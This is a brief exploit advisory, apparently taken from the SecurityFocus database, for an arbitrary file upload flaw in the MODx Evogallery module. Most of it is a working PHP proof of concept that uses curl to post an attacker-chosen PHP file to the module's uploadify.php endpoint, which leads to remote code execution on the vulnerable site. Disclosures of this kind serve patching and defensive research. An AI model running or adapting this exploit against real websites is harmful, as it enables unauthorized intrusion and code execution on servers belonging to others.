source: https://www.securityfocus.com/bid/65646/info

MODx Evogallery module is prone to an arbitrary file upload vulnerability.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

<?php
$uploadfile="file.php";
$ch = curl_init("demo.ltd/assets/modules/evogallery/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>